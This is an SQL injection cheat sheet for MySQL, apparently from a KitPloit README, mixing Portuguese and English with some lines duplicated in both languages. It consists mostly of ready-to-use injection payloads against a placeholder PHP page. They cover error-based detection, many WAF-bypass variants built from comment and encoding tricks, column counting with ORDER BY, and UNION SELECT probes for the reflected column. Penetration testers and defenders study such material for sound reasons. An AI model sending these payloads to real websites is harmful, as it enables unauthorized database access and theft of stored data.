Folha de dicas de Injeção SQL baseada em erro no MySQL

Esta é provavelmente a vulnerabilidade mais fácil dentro do ataque de Injeção SQL. Um atacante pode enumerar e extrair o banco de dados MySQL usando as mensagens de erro SQL a seu favor.

Detectando a vulnerabilidadehttp://domain.com/index.php?id=1

Website loads successfully

http://domain.com/index.php?id=1'
A mensagem de erro aparece: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...``````http://domain.com/index.php?id=1\'
Error message shows up: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

http://domain.com/index.php?id=1 and 0' order by 1--+
O site carrega com êxito.http://domain.com/index.php?id=2-1
Website loads successfully

http://domain.com/index.php?id=-1'
A mensagem de erro aparece novamentehttp://domain.com/index.php?id=-1)'
Error message shows up again

http://domain.com/index.php?id=1'-- -
O site pode carregar com sucesso, mas também pode mostrar erro.http://domain.com/index.php?id=1'--
Website might loads successfuly, but it might shows error also

http://domain.com/index.php?id=1+--+
O site pode carregar com sucesso, mas também pode exibir erro

Contornando o WAF para detectar a vulnerabilidade (se a primeira metodologia não funcionou)

Em alguns casos, o WAF não permitirá que você cause erros no site, então pode ser necessário enviar consultas especiais para contornar o WAF.http://domain.com/index.php?id=1'--/**/-
If no WAF Warning is shown and website loads up, we confirm the vulnerability, else try the following payloads.

http//domain.com/index.php?id=/^.*1'--+-.*$/
http//domain.com/index.php?id=/*!500001'--+-*/
http//domain.com/index.php?id=1'--/**/-
http//domain.com/index.php?id=1'--/*--*/-
http//domain.com/index.php?id=1'--/*&a=*/-
http//domain.com/index.php?id=1'--/*1337*/-
http//domain.com/index.php?id=1'--/**_**/-
http//domain.com/index.php?id=1'--%0A-
http//domain.com/index.php?id=1'--%0b-
http//domain.com/index.php?id=1'--%0d%0A-
http//domain.com/index.php?id=1'--%23%0A-
http//domain.com/index.php?id=1'--%23foo%0D%0A-
http//domain.com/index.php?id=1'--%23foo*%2F*bar%0D%0A-
http//domain.com/index.php?id=1'--#qa%0A#%0A-
http//domain.com/index.php?id=/*!20000%0d%0a1'--+-*/
http//domain.com/index.php?id=/*!blobblobblob%0d%0a1'--+-*/

Find the number of columns using 'ORDER BY' query

Now that we performed an SQL syntax error to the website, we can begin fuzzing and finding how many columns do we have by using ORDER BY

http://domain.com/index.php?id=1' order by 1-- -
Esta consulta não deve apresentar erro, pois não há número menor que 1

• Se o payload apresentar erro, tente definir um valor negativo:http://domain.com/index.php?id=-1' order by 1-- -
  This query musn't shows up error, since there is no lower number than 1

  • If the payload shows up error, try removing the quote which might cause SQL error: http://domain.com/index.php?id=605 order by 1-- -
http://domain.com/index.php?id=-605 order by 1-- -
    These both queries musn't shows up error. If error is still ocurring, try the following payloads:

    • If both of payloads don't work, it is problably a WAF blocking it. Try the following blocks until you won't see WAF detection or SQL syntax error.

http://domain.com/index.php?id=1' order by 1 desc-- -  
http://domain.com/index.php?id=1' group by 1-- -  
http://domain.com/index.php?id=1' group by 1-- -  
http://domain.com/index.php?id=1' /**/ORDER/**/BY/**/ 1-- -  
http://domain.com/index.php?id=-1' /*!order*/+/*!by*/ 1-- -  
http://domain.com/index.php?id=1' /*!ORDER BY*/ 1-- -  
http://domain.com/index.php?id=1'/*!50000ORDER*//**//*!50000BY*/ 1-- -  
http://domain.com/index.php?id=1' /*!12345ORDER*/+/*!BY*/ 1-- -  
http://domain.com/index.php?id=1' /*!50000ORDER BY*/ 1-- -  
http://domain.com/index.php?id=1' order/**_**/by 1-- -  
http://domain.com/index.php?id=1\ order by 1-- -  
http://domain.com/index.php?id=1' order by 1 asc-- -  
http://domain.com/index.php?id=1' group by 1 asc-- -  
http://domain.com/index.php?id=1' AND 0 order by 1-- -  
http://domain.com/index.php?id=1%0Aorder%0Aby%0A1-- -  
http://domain.com/index.php?id=1%23%0Aorder%23%0Aby%23%0A1-- -  
http://domain.com/index.php?id=1%23aa%0Aorder%23aa%0Aby%23aa%0A1-- -  
http://domain.com/index.php?id=1%23xyz%0Aorder%23xyz%0Aby%23xyz%0A1-- -  
http://domain.com/index.php?id=1%23foo%0D%0Aorder%23foo%0D%0Aby%23foo%0D%0A1-- -  
http://domain.com/index.php?id=1%23foo*%2F*bar%0D%0Aorder%23foo*%2F*bar%0D%0Aby%23foo*%2F*bar%0D%0A1-- -  
http://domain.com/index.php?id=1/*!20000%0d%0a+order+by+*/1-- -  
http://domain.com/index.php?id=1/*!blobblobblob%0d%0a+order+by+*/1-- -  
http://domain.com/index.php?id=1/*!f****U%0d%0a+order+by+*/1-- -```

    
    - If none of the payloads didn't bypass WAF, try again the payloads by following the 2 rules below:
      - Add a minus (-) before 1 (example: ```?id=-1' /**/ORDER/**/BY/**/ 1-- -```)  
      - Remove the quote (') after the parameter value (example: ```?id=1 /**/ORDER/**/BY/**/ 1-- -```)

In this case, the payload ```?id=1 order by 1-- -``` worked and website loads successfuly. Now it is time to find the correct number of columns. Now let's use the payload that worked, and try increasing the number by 1, untill an error shows up: 

```http://domain.com/index.php?id=1 order by 1-- -``` no error  
```http://domain.com/index.php?id=1 order by 2-- -```  no error  
```http://domain.com/index.php?id=1 order by 3-- -```  no error  
```http://domain.com/index.php?id=1 order by 4-- -```  no error  
```http://domain.com/index.php?id=1 order by 5-- -```  error:   
```Unknown column '5' in 'order clause'Unknown column '5' in 'order clause'```  

This means there are only 4 columns. Now we have to find which one of these 4 columns have information.  

## Find the vulnerable column where information are stored using 'UNION SELECT' query  

Using a simple query, we determine which of the 4 columns reflect our input using. Only 1 of these payloads will run without **syntax error**. *NOTE: If none worked, try the same payloads, but remove the quote (') after number 1.*    

```http://domain.com/index.php?id=1' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=-1 Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=-1' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=1'+UNION+ALL+SELECT+null,null,null,null--+-```  
```http://domain.com/index.php?id=1' Union Select null,2,3,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,null,3,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,2,null,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,2,3,null-- -```  
```http://domain.com/index.php?id=.1' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=-1' div 0' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,2,3,4 desc-- -```  
```http://domain.com/index.php?id=1' AND 0 Union Select 1,2,3,4-- -```  

Website must successfully load and we will see a number (in our case between 1-4)  

![union_select_vuln_column](https://assets.kitploit.com/production/public/readmes/48038/e8504dde8dd18d24ef2a6b43ee9a21b4f5e7eca04eda6ef11834a0811e884956.png)